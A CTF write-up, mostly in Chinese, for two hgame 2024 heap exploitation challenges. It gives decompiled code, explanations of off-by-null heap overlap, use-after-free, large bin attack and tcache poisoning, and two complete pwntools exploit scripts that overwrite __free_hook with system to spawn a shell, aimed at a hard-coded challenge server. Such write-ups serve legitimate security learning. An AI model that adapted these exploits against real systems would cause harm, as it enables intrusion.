hgame2024week3_wp
pwn
你满了,那我就漫出来了![补]
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%u", &v3);
if ( v3 != 2 )
break;
show();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
delete();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v1);
if ( v1 > 0xF )
{
puts("There are only 16 pages.");
}
else if ( *((_QWORD *)¬es + v1) )
{
free(*((void **)¬es + v1));
*((_QWORD *)¬es + v1) = 0LL;
}
else
{
puts("No such note.");
}
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 add()
{
unsigned int v0; // ebx
unsigned int v2; // [rsp+Ch] [rbp-24h] BYREF
unsigned int size; // [rsp+10h] [rbp-20h] BYREF
unsigned int size_4; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 > 0xF )
{
puts("There are only 16 pages.");
}
else if ( *((_QWORD *)¬es + v2) )
{
puts("The note already exists.");
}
else
{
while ( 1 )
{
printf("Size: ");
__isoc99_scanf("%u", &size);
if ( size <= 0xFF )
break;
puts("Too big!");
}
v0 = v2;
*((_QWORD *)¬es + v0) = malloc(size);
printf("Content: ");
size_4 = read(0, *((void **)¬es + v2), size);
*(_BYTE *)(*((_QWORD *)¬es + v2) + size_4) = 0;
}
return __readfsqword(0x28u) ^ v5;
}
题目没有uaf,但是在add的时候有一个off by null,可以通过off by null 触发一次堆合并 构造 一个heap overlap的现象,产生uaf
构造一个这样的情况,在add heap3的时候,heap4的低位一个字节就会被覆盖成 0x00,如果在创建 heap4的时候size 大于等于 0xf8,这时候chunk的大小为 0xf0 + 0x10(size + 8) + 1(prev_inuse),在add heap3的时候 prev_inuse就会被覆盖,再free掉 heap4的时候就会触发 前向合并,将 heap 1 2 3 4合并在一起
heap 1(free) (content "AAAA")
heap 2(In use) (content "AAAA")
heap 3(In use) (content "A" * (data - 8) + p64(heap 1 size+ heap2 size+ heap3 size))
heap 4(In use) (content "AAAA")
High Address
这时候再malloc 5 6 7 8 那就会产生一个堆重叠现象
1 - 5
2 - 6
3 - 7
4 - 8
这时候2 - 6 3 - 7 就会产生uaf,可以进行double free
所以利用思路是,先通过off by null构造一个heap overlap,产生uaf 泄露libc的地址,再通过uaf 来double free,把free_hook的地址写成system,去free掉一个内容为binsh的堆,触发system(binsh)
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def show(idx):
sla("Your choice:","2")
sla("Index: ",str(idx))
def delete(idx):
sla("Your choice:","3")
sla("Index: ",str(idx))
def add(idx,size,content):
sla("Your choice:","1")
sla("Index: ",str(idx))
sla("Size: ",str(size))
sa("Content: ",content)
def add_tcache():
for i in range(7):
add(i,0xf8,"AAAA")
def free_tcache():
for i in range(7):
delete(i)
p = connect()
add(0,0xf8,"AAAA")
add(1,0x68,"AAAA")
for i in range(2,10):
add(i,0xf8,"AAAA")
add(12,0xf8,"AAAA")
for i in range(3,10):
delete(i)
delete(0)
delete(1)
# 0x100 + 0x70
# 0x100 + 0x70 + 0x100
add(1,0x68,b"B" * 0x60 + p64(0x170))
delete(2)
add(0,0x78,b'a')
add(2,0x78,b'a')
show(1)
libc_base = r_leak_libc_64() - (0x7fe6d3febca0 - 0x7fe6d3c00000)
success(f"libc_base ->{hex(libc_base)}")
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(f"free_hook ->{hex(free_hook)}")
# 1 == 10 11
add(10,0x68,b"C")
add(11,0x68,b"C")
for i in range(3,10):
add(i,0x68,b"a")
for i in range(3,10):
delete(i)
delete(10)
delete(11)
delete(1)
for i in range(3,10):
add(i,0x68,b"a")
add(10,0x68,p64(free_hook))
add(11,0x68,b'/bin/sh')
add(13,0x68,p64(free_hook))
add(1,0x68,p64(system))
delete(11)
# g(p)
p.interactive()
Elden Ring Ⅲ[补]
https://www.freebuf.com/articles/system/232676.html
利用large bin attack往mp_结构体中 存储 tcache大小的位置写一个堆地址,这样题目给的size范围 free掉后能进到tcache bin里面,然后就变成 tcache poison了,2.32 malloc_hook free hook还没有移除,用tcache poison写free hook为system的地址,然后free掉 /bin/sh的堆,触发 system(binsh) getshell
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def add(idx,size):
sla(">","1")
sla("Index: ",str(idx))
sla("Size: ",str(size))
def delete(idx):
sla(">","2")
sla("Index: ",str(idx))
def edit(idx,context):
sla(">","3")
sla("Index: ",str(idx))
sa("Content: ",context)
def show(idx):
sla(">","4")
sla("Index: ",str(idx))
p = connect()
add(1,0x500)
add(2,0x600)
add(3,0x700)
delete(1)
delete(3)
add(4,0x700)
show(1) # 1 in large bin
out=u64(p.recv(6).ljust(8,b"\x00"))
base=out-libc.sym['__malloc_hook']-1168-0x10
print("libc_base=",hex(base))
free_hook= base +libc.sym['__free_hook']
system=base+libc.sym['system']
mp_offset=0x7fb195cdc280-0x7fb195af9000
mp_=base+mp_offset
print("mp_=",hex(mp_))
target=mp_+0x50
add(10,0x500) #take out 1
add(5,0x600) #chunk1
add(6,0x500)
add(7,0x5f0) #chunk2
add(8,0x500)
delete(5)
add(9,0x900) # 5 in large bin
delete(7)
fd=u64(p.recv(6).ljust(8,b"\x00"))
edit(5,p64(fd)*2+p64(target-0x20)*2)
add(11,0x900)
# mp_ -> tcache_size = 7 addr
edit(1,b'a'*0x10)
show(1)
p.recvuntil(b'a'*0x10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290
edit(1,p64(out)*2)
success(f"heap_base ->{hex(heap_base)}")
# g(p)
add(2,0x500)
delete(2)
# tcache poison
edit(1,p64(base)*2+p64(heap_base)*2+p64(0)*9+p64(free_hook))
add(3,0x500)
edit(3,p64(system))
edit(6,b'/bin/sh\x00')
delete(6)
p.interactive()